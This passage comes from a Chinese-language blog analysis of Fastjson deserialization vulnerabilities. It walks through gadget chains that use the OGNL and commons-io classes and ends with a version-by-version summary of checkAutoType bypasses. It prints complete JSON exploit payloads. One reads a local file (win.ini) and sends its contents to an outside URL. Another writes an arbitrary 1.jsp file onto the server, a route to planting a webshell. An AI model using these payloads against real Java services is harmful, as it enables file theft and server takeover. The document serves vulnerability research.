   {
    "@type""java.lang.String"
    "@type""ognl.OgnlException",
    "_evaluation"""
   }
  },

这一步会调用ParserConfig.getDeserializer为_evaluation所在的类Evaluation创建deserializer并放入缓存,以便绕过对Evaluation类的checkAutoType的检测

"su16": {
   "@type""ognl.Evaluation",
   "node": {
    "@type""ognl.ASTMethod",
    "p": {
     "@type""ognl.OgnlParser",

调用Evaluation类的构造函数,传入node参数

node为ASTMethod类,调用ASTMethod类的构造函数,传入p参数,p为OgnlParser类

"stream": {
      "@type""org.apache.commons.io.input.BOMInputStream",
      "delegate": {
                                "@type""org.apache.commons.io.input.ReaderInputStream",
                                .....
                        "boms": [{
          "@type""org.apache.commons.io.ByteOrderMark",
          "charsetName""UTF-8",
          "bytes": [
           36
          ]
         }]

再调用OgnlParser类的构造函数,传递stream参数

stream为BOMInputStream类,再调用BOMInputStream类的构造函数,传递delegate、boms参数

再调用ReaderInputStream类的构造函数

"reader": {
        "@type""jdk.nashorn.api.scripting.URLReader",
        "url": {
         "@type""java.lang.String" {
          "@type""java.util.Locale",
          "val": {
  ...
"charsetName""UTF-8",
"bufferSize": 1024

传递reader、charsetName、bufferSize参数,reader为URLReader类,调用URLReader类的构造函数,传递url参数,url为String类型

一些细节需要注意:

"@type": "java.lang.String" {会调用parse解析后面整个对象,然后调用toString()返回

"@type": "java.lang.String" [和{的一样

"@type": "java.lang.String" "会直接返回后面第一个双引号引起来的字符串,然后交给其他类进行解析

image-20230323185208197

回到这里

"reader": {
        "@type""jdk.nashorn.api.scripting.URLReader",
        "url": {
         "@type""java.lang.String" {
          "@type""java.util.Locale",
          "val": {

他会把后面当成对象解析

获取Locale的deserializer(MiscCodec),然后调用deserializer的deserialize方法

val为JSONObject类,将val作为对象解析

"@type""com.alibaba.fastjson.JSONObject",
           {
            "@type""java.lang.String"
            "@type""java.util.Locale",
            "language""http://127.0.0.1:8080/?test",
            "country": {
             "@type""java.lang.String" [{
              "@type""org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
              "fileName""C:/Windows/win.ini"
             }]

            }
           }
          },

这里调用Locale的构造函数,传language和country,并封装成BaseLocale类型赋值给baseLocale属性

image-20230324105234862

在country里,会调用BasicCompilationUnit的构造函数,传递fileName参数

"@type""java.lang.String" {
          "@type""java.util.Locale",
          "val": {
           "@type""com.alibaba.fastjson.JSONObject",
           {
            "@type""java.lang.String"
            "@type""java.util.Locale",
            "language""http://127.0.0.1:8080/?test",
            "country": {
             "@type""java.lang.String" [{
              "@type""org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
              "fileName""C:/Windows/win.ini"
             }]

            }
           }
          },

         },

最后将val的解析结果封装成JSONObject,这时候会调用BasicCompilationUnit的getter方法

image-20230324110910161

在BasicCompilationUnit的getContents方法中读取文件,并返回字节数组,同时调用其他getter方法,将属性值不为null的封装到JSONObject中

image-20230324111144862

image-20230324111429197

之前说过,"@type": "java.lang.String" {会调用parse解析后面整个对象,然后调用toString()返回,所以会调用Locale.toString()方法返回字符串给url

image-20230324115223197

会将baseLocale的属性使用_分割并组装

image-20230324115452200
"su17": {
 "$ref""$.su16.node.p.stream"
},
"su18": {
 "$ref""$.su17.bOM.bytes"
}
小插曲

"$ref": "$.su16.node.p.stream"表示引用根对象下su16对象的node对象下的p对象下的stream

对于引用来说,在DefaultJSONParser的parseObject中,当解析到引用时并不会立即解析,而是先编译然后加到任务队列

image-20230324091028099

然后使用null作为该引用的解析结果,然后返回到外层JSON.parse中

image-20230324091144387

image-20230324091403749

然后在JSON.parse中处理所有引用关系,此时开始真正解析引用类型

image-20230324091656739

在handleRsovleTask中,遍历任务队列,解析引用类型,然后调用getObject拿到该引用类型的值

image-20230324091856140

在getObject中比较简单,遍历所有树节点,这些树节点是提前解析好的了,已经有对应的值存储在节点里,然后判断该引用是否跟节点相同,相同就返回节点对应的值。

image-20230324092023784

$.su16.node.p.stream的值为BOMInputStream

image-20230324092459474

第二次解析$.su17.bOM.bytes由于在之前所有节点中并没有该引用,所以返回null

image-20230324092533815

refValue为null时,会解析该封装成JSONPath,并调用eval解析

image-20230324092746012

然后会将JSONPath分成三个属性段,第一个为su17,第二个为bOM,第三个为bytes

image-20230324093019199

然后调用eval方法取每个属性段的值

image-20230324093130670

然后在JSONPath.getPropertyValue方法中

如果currentObject是Map类型,他首先会在currentObject取属性段的值。若不是Map类型,则调用getter方法去取对应属性的值。

image-20230324093654128

image-20230324093338660

为什么不合在一起写成"$ref": "$.su16.node.p.stream.bom.bytes"

一开始从节点中找不到这个$.su16.node.p.stream.bom.bytes,所以refValue为null,然后调用JSONPath.eval解析该路径,JSONPath.eval会将该路径解析成一个个属性段,然后将调用属性段的eval方法将返回值给currentObject,下次循环再将currentObject进行传参调用eval方法

image-20230324095437656

所以这个路径$.su16.node.p.stream.bom.bytes是这样解析的

  1. $的值为Evaluation类
  2. 然后调用Evaluation类的getNode方法获取node(ASTMethod类)
  3. 然后ASTMethod类的getter方法获取p,由于p没有getter方法所以返回null
  4. 然后将currentObjct(null)作为参数接着执行属性段的eval方法
  5. 然后在JSONPath.getPropertyValue方法判断currentObjct为null,所以返回null,再赋值给currentObject
  6. 所以p属性段的解析结果为null,后面继续循环4-6步骤
  7. 最终返回currentObject为null
"su17": {
 "$ref""$.su16.node.p.stream"
},
"su18": {
 "$ref""$.su17.bOM"
}

su17拿到BOMInputStream对象,然后调用getBOM方法

image-20230324114219158

调用in.read(),in为ReaderInputStream

image-20230324114350003

image-20230324114416652

reader为URLReader,调用URLReader的read()方法

image-20230324114544453

调用getReader方法

image-20230324114630866

url封装了读取文件的结果,将url作为参数,调用Source.readFully()方法

image-20230324114741741

发起请求,将读取的文件外带

写文件

使用ognl库配合commons-io库

这条链配合了commons-io那条链(XmlStreamReader链来完成文件读写操作)

    {
 "su14": {
  "@type""java.lang.Exception",
  "@type""ognl.OgnlException"
 },
 "su15": {
  "@type""java.lang.Class",
  "val": {
   "@type""com.alibaba.fastjson.JSONObject",
   {
    "@type""java.lang.String"
    "@type""ognl.OgnlException",
    "_evaluation"""
   }
  },
  "su16": {
   "@type""ognl.Evaluation",
   "node": {
    "@type""ognl.ASTMethod",
    "p": {
     "@type""ognl.OgnlParser",
     "stream": {
      "@type""org.apache.commons.io.input.BOMInputStream",
      "delegate": {
       "@type""org.apache.commons.io.input.ReaderInputStream",
       "reader": {
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aa大于8192个字符"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
            "branch":{
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"1.jsp",
        "encoding":"UTF-8",
        "append"false
      },
      "charsetName":"UTF-8",
      "bufferSize"1024,
      "writeImmediately"true
    },
        "closeBranch"true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
       "charsetName""UTF-8",
       "bufferSize"1024
      },
      "boms": [{
       "@type""org.apache.commons.io.ByteOrderMark",
       "charsetName""UTF-8",
       "bytes": [
        36,82
       ]
      }]
     }
    }
   }
  },
  "su17": {
   "@type""ognl.Evaluation",
   "node": {
    "@type""ognl.ASTMethod",
    "p": {
     "@type""ognl.OgnlParser",
     "stream": {
      "@type""org.apache.commons.io.input.BOMInputStream",
      "delegate": {
       "@type""org.apache.commons.io.input.ReaderInputStream",
       "reader": {
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{"$ref""$.su16.node.p.stream.delegate.reader.is.input"},
        "branch":{"$ref""$.su16.node.p.stream.delegate.reader.is.branch"},
        "closeBranch"true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
       "charsetName""UTF-8",
       "bufferSize"1024
      },
      "boms": [{
       "@type""org.apache.commons.io.ByteOrderMark",
       "charsetName""UTF-8",
       "bytes": [
        36,82
       ]
      }]
     }
    }
   }
  },
  "su18": {
   "@type""ognl.Evaluation",
   "node": {
    "@type""ognl.ASTMethod",
    "p": {
     "@type""ognl.OgnlParser",
     "stream": {
      "@type""org.apache.commons.io.input.BOMInputStream",
      "delegate": {
       "@type""org.apache.commons.io.input.ReaderInputStream",
       "reader": {
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{"$ref""$.su16.node.p.stream.delegate.reader.is.input"},
        "branch":{"$ref""$.su16.node.p.stream.delegate.reader.is.branch"},
        "closeBranch"true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
       "charsetName""UTF-8",
       "bufferSize"1024
      },
      "boms": [{
       "@type""org.apache.commons.io.ByteOrderMark",
       "charsetName""UTF-8",
       "bytes": [
        36,82
       ]
      }]
     }
    }
   }
  },
  "su19": {
   "@type""ognl.Evaluation",
   "node": {
    "@type""ognl.ASTMethod",
    "p": {
     "@type""ognl.OgnlParser",
     "stream": {
      "@type""org.apache.commons.io.input.BOMInputStream",
      "delegate": {
       "@type""org.apache.commons.io.input.ReaderInputStream",
       "reader": {
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{"$ref""$.su16.node.p.stream.delegate.reader.is.input"},
        "branch":{"$ref""$.su16.node.p.stream.delegate.reader.is.branch"},
        "closeBranch"true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
       "charsetName""UTF-8",
       "bufferSize"1024
      },
      "boms": [{
       "@type""org.apache.commons.io.ByteOrderMark",
       "charsetName""UTF-8",
       "bytes": [
        36,82
       ]
      }]
     }
    }
   }
  }, 
 }

这里的原理和上面的读文件相同,只不过在构造ReaderInputStream时,传入的reader为XmlStreamReader,触发了commons-io文件读写那条链

后面su17、su18、su19是为了触发三次写入,之前说过写一次限制为4096字节,而只有当写入超过8192字节才会刷新缓存区真正写入到文件中;

XmlStreamReader在构造器方法中会触发doRawStream()方法,在doRawStream()方法中触发getBOMCharsetName(),在getBOMCharsetName()中触发getBOM(),getBOM()触发TeeInputStream的read()方法,此时TeeInputStream为同一个对象(因为引用了上一个对象),就可以达循环读写。

总结

还有其他一些比较冷门的利用链,就没必要看了

fastjson=1.2.83

1.2.83中,在ParserConfig的checkAutoType中,

若为Throwable的子类,则clazz置null,并返回

image-20230325133416331

同时类名以Exception或者Error结尾的都会返回null

image-20230325134824889

两层防御导致有关ThrowableDeserializer那条链的绕过失效;

重新审视这张图

image-20230320144417368

唯一能利用expectClass进行绕过的只有JavaBeanDeserializer这条链,而需要有一个类满足一些条件,且他的deserializer为JavaBeanDeserializer,这时就可以绕过checkAutoType的检测;

1.2.83及以上未爆出新的漏洞了,但是根据FastJSON的尿性,估计肯定还会有不少漏洞,肯定也有不少师傅存着一些POC在偷偷利用也说不定;

总结

1.2.24之下无限制,随便玩

1.2.25到1.2.41新增黑白名单,使用L开头;结尾进行绕过

1.2.42双写L开头;结尾进行绕过

1.2.43使用[进行绕过

1.2.47及以下使用MiscCodec类刷新缓存绕过

1.2.48cache为false,不给存入缓存

1.2.48到1.2.80利用expectClass绕过

-1.2.48到1.2.68使用AutoCloseable进行绕过

-1.2.69到1.2.80使用ThrowableDeserializer进行绕过

Reference

  • https://github.com/threedr3am/learnjavabug/commit/ea61297cf7b2125ecae0064d2b8061a9e32db1e6
  • https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
  • http://scz.617.cn:8/web/202008100900.txt
  • http://x2y.pw/2020/11/15/fastjson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/
  • https://www.anquanke.com/post/id/203086
  • https://wiki.wgpsec.org/knowledge/ctf/JDBC-Unserialize.html


文章有问题?点此查看未经处理的缓存